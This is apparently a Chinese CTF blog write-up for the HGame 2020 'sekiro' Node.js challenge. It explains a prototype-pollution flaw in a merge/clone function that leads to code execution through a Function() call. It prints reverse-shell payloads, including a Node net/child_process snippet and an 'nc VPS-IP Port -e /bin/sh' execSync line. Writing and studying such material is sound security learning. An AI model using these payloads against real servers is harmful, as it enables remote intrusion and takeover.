0x4qE's Blog 


HGame 2020 week4 WriteUp


前言

最后一周的web竟然是四种语言的框架,而且还没有Pythonphp也不会做,面向Google做题终于做出来一道Javascript原型链污染,终于可以不用担心被踢出群聊爆零了!

Web

sekiro

首先下载源码,扫了一下是nodejs,猜测应该是原型链污染

理清思路

于是上Google,搜到这类题型常见的漏洞,其中就有

1
2
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)

这种样子,其中clone()函数是原型链污染的关键。把这段代码放到Google上搜可以搜到好多分析,这里就列举一篇文章,JavaScript 原型链污染

然后可以在源码中找到这一段

1
2
3
4
5
6
7
8
9
router.post('/action', function (req, res) {
...
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功")
})

那么这里就是可以利用的漏洞点了,那么我怎么拿到flag在与出题人的交谈中,我了解到,nodejs原型链污染后命令执行反弹shell,可以直接拿到shell,从而一波cat flag就可以了。但是在哪里可以命令执行呢?kevin学长建议我去尝试nodejs下断点调试,来寻找可以命令执行的地方。

于是Google了一波nodejs断点调试的方法,踩了许多坑,终于能在本地跑起来了。找到了一处可以注入代码的地方。

1
2
3
4
5
6
7
8
9
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) { ...
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
...
return sekiro
}

我们把fn匿名函数单独拿出来研究结构。

1
2
3
4
function(){
sekiro.attackInfo.additionalEffect
return sekiro
}

这样是不是很清楚!如果我们通过原型链污染可以污染additionalEffect这个属性,那么我们可以构造我们想要的任意代码,最后导致命令执行

原型链污染的产生

思路已经确定了,但在这里因为我原型链污染的概念还不清楚,所以绕了点路。原型链污染的产生是因为clone()这个函数。我们来看一看执行过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
test='{"__proto__":{"aaa":1}}'
clone(JSON.parse(test))

clone()中有一个危险的merge()函数,可以给对象赋值,并且键值可控,当我们恶意的将键值变为__proto__时,就可以污染所有Object,使其具有一个我们需要的属性aaa

我原先试图污染的是attackInfo这个属性,但kevin学长指出问题,每一个sekiro都有一个attackInfo属性,而只有当本身这个类里找不到这个属性时,才会在__proto__里寻找,以此类推,遍历整个原型链

所以我要做的就是,选择一个没有additionalEffect子属性的sekiro,向/action发送POST请求,在fn函数里注入恶意代码,从而导致命令执行

命令执行

弹shell之前,我首先尝试在本地console.log()一下。污染的时候有一个巨坑,直接在Console控制台改时,因为有JSON.stringify()函数的存在,无法成功地污染。正确的方法应该是发包,本地测试的时候,我选择的是Postman。改Content-Typeapplication/json,在Body里注入代码。

可以看到这里成功console.log()了。

然后想办法弹shell,这里也是巨坑,网上找到的大多都是用netchild_process模块,形如这样:

1
2
3
4
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

但是,在匿名函数fn里,不管怎么样都是报错,后来学长告诉我一种常用的弹shell的方法,在此记录。

弹shell

1
global.process.mainModule.require('child_process').execSync('nc VPS-IP Port -e /bin/sh');

拿到shell,切换到根目录cd /cat flag






© - 0x4qE - 2019 - 2020 - Powered by hexo Themed by quark

浙ICP备19039917号-1
浙公网安备 33011802001799号

小破站跌跌撞撞